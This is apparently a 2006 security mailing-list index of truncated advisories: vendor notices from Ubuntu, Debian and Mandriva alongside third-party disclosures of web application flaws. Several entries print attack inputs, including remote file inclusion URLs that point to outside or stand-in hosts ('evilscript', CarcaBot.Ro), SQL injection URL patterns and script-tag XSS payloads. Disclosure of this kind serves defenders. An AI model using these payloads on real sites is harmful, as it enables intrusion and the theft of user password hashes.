===========================================================
Ubuntu Security Notice USN-310-1 July 05, 2006
ppp vulnerability
CVE-2006-2194
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 5.10
Ubuntu 6.06 LTS

[ more ]  [ reply ]

===========================================================
Ubuntu Security Notice USN-309-1 July 05, 2006
libmms vulnerability
CVE-2006-2200
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 5.10

This advisory

[ more ]  [ reply ]

===========================================================
Ubuntu Security Notice USN-308-1 July 05, 2006
shadow vulnerability
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 5.04
Ubuntu 5.10
Ubuntu 6.06 LTS

[ more ]  [ reply ]

Hello,

this guy have stolen my exploit. The exploit was found and done by me.

Here you find the orginal exploit and video:

http://www.pldsoft.com/forum/showthread.php?t=1340

Cheers!

Michael

www.pldsoft.com

Security Group

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

SA0011

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++ Horde 3.1.1, 3.0.10 Multiple Security Issues +++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

PUBLISHED ON
July 05, 2

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
--
Debian Security Advisory DSA 1104-2 security (at) debian (dot) org [email concealed]
http://www.debian.org/security/ Martin Schulze
July 6th, 2006

[ more ]  [ reply ]

TigerTom Scripts

Homepage:

http://www.ttfreeware.co.uk/

Affected files:

TTCalc script v1.0

---------------------------

Data pased in the "Length of loan, years" and "Length of mortgage, years" input boxes are not sanatized before being generated.

For a PoC in the input boxes listed

[ more ]  [ reply ]

vBulletin 3.5.4 (install_path) Exploit

-

by: CarcaBot

-

application : vbulletin

-

URL : http://www.vbulletin.com

-

Exploit:

www.vicitimsite.com/forumpath/install/upgrade_301.php?step=http://CarcaB
ot.Ro

-

More Details:

Dump SQL DB named user then u have access at all md5 users passwords

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

_______________________________________________________________________

Mandriva Linux Security Advisory MDKSA-2006:116
http://www.mandriva.com/security/
____________________________________________________________________

[ more ]  [ reply ]

BLOG:CMS 4.1.0

http://blogcms.com

-------------

SQL injection

-------------

http://target.xx/?1'[SQL]

http://target.xx/?item='[SQL]

http://target.xx/?blog='[SQL]

http://target.xx/?member='[SQL]

http://target.xx/?typeface=1'[SQL]

http://target.xx/?results='[SQL]

http://target.xx/?DokuWiki=

[ more ]  [ reply ]

sNews 1.3

http://snews.solucija.com

--------------------------

Cross Site Scripting (XSS)

--------------------------

POST http://target.xx:80/index.php HTTP/1.0

Accept: */*

Content-Type: application/x-www-form-urlencoded

Host: target.xx

Content-Length: 88

pojam=<script>alert(/EllipsisSecur

[ more ]  [ reply ]

Title: Touch arbitrary file execute vulnerability

Version: Touch Control 2, 0, 0, 55

Discoverer: PARK, GYU TAE (saintlinu (at) null2root (dot) org [email concealed])

Advisory No.: NRVA06-04

Critical: Critical

Impact: Gain remote user's privilege

Where: From

[ more ]  [ reply ]

Windows Explorer URL File format overflow

Affected Vendor:

Microsoft

Affected Products:

WindowsXP ALL

Windows2003 ALL

Vulnerability Details:

When explorer.exe parsing *.url file which contains a url as follows format will cause explorer.exe crash.

if you create the Explo

[ more ]  [ reply ]

Shopping Cart V0.9

Homepage:

http://glendown.de/shop/

Affected files:

index.php

editshop.php

edititem.php

-----------------------------------------

XSS vuln on editshop.php & edititem.php:

Data isn't sanatized before being entered. For a PoC as a shop name or item enter in:

<sc

[ more ]  [ reply ]

================================

Discovered By: CrAzY CrAcKeR

================================

Example:-

/index.php?act=ketqua&code=showcat&idcat=[SQL]

/index.php?act=Attach&type=post&id=[SQL]

/index.php?act=Profile&CODE=[SQL]

/index.php?act=ketqua&code=[SQL]

/coins_list.php?member_id=[SQL

[ more ]  [ reply ]

Produce : PhpWebGallery <= 1.5.2

Site : http://www.phpwebgallery.net

Problem : XSS

Greetz : hasnaa and all friends

Moroccan Security Research Team

Vulnerable file : comments.php

Exploit :

http://localhost/phpwebgallery/comments.php?keyword=%22%3E[XSS]

http://localhost/phpwebgal

[ more ]  [ reply ]

file include exploits in randshop v1.2
forum type : randshop v1.2
bug found by : black-code
team : site-down
type : file include

####################################################
Exploits :

http://www.example.com/randshop/index.php?incl=http://evilscript?

#####################################

[ more ]  [ reply ]

Title : galleria <= 1.0 Remote File Inclusion Vulnerability

-

URL : http://binarydigit.at/

-

Author : sikunYuk

-

Mail : ineal[at]gmail.com

-

exploit : http://[target]/[path]/components/com_galleria/galleria.html.php?mosConf
ig_absolute_path=http://[f*ckscript]/cm

[ more ]  [ reply ]

Kyberna AG ky2help various form fields SQL Injection

scip AG Vulnerability ID 2351 (07/04/2005)
http://www.scip.ch/cgi-bin/smss/showadvf.pl?id=2351

I. INTRODUCTION

Kyberna ky2help is a commercial solution for a web-based ticketing and
support system. Users are able to send tickets and those are

[ more ]  [ reply ]

F5 FirePass 4100 prior 6.x multiple Cross Site Scripting

scip AG Vulnerability ID 2352 (07/04/2006)
http://www.scip.ch/cgi-bin/smss/showadvf.pl?id=2352

I. INTRODUCTION

F5 FirePass is an appliance which allows a remote communication between
SSL-VPN endpoints. This secure connectivity to corporate

[ more ]  [ reply ]

The Banner Engine - tbe4.0

Native Solutions

--------------------------

Cross Site Scripting (XSS)

--------------------------

http://target.xx/top.php?action=search&catid=catid&text=%3Cscript%3Ealer
t(%22Ellipsis+Security+Test%22)%3C/script%3E

http://target.xx/top.php?action=search&catid=catid&t

[ more ]  [ reply ]

I have provided the fillowing proof of concept..

Afected-softwear

Credit's :n00b.

http://freshmeat.net/projects/imgsvr/

Exploit,

#!/usr/bin/perl

##Proof of concept.

########################################################################
#########

#Credit's:to n00b for finding this bug.

[ more ]  [ reply ]

ZoneAlarm insufficiently checks calling standard Windows API functions RegSaveKey, RegRestoreKey and RegDeleteKey.

The whole advisory with more details is available here
http://www.matousec.com/info/advisories/ZoneAlarm-Insufficient-protectio
n-of-registry-key-VETFDDNT-Enum.php

Regards,

--
David

[ more ]  [ reply ]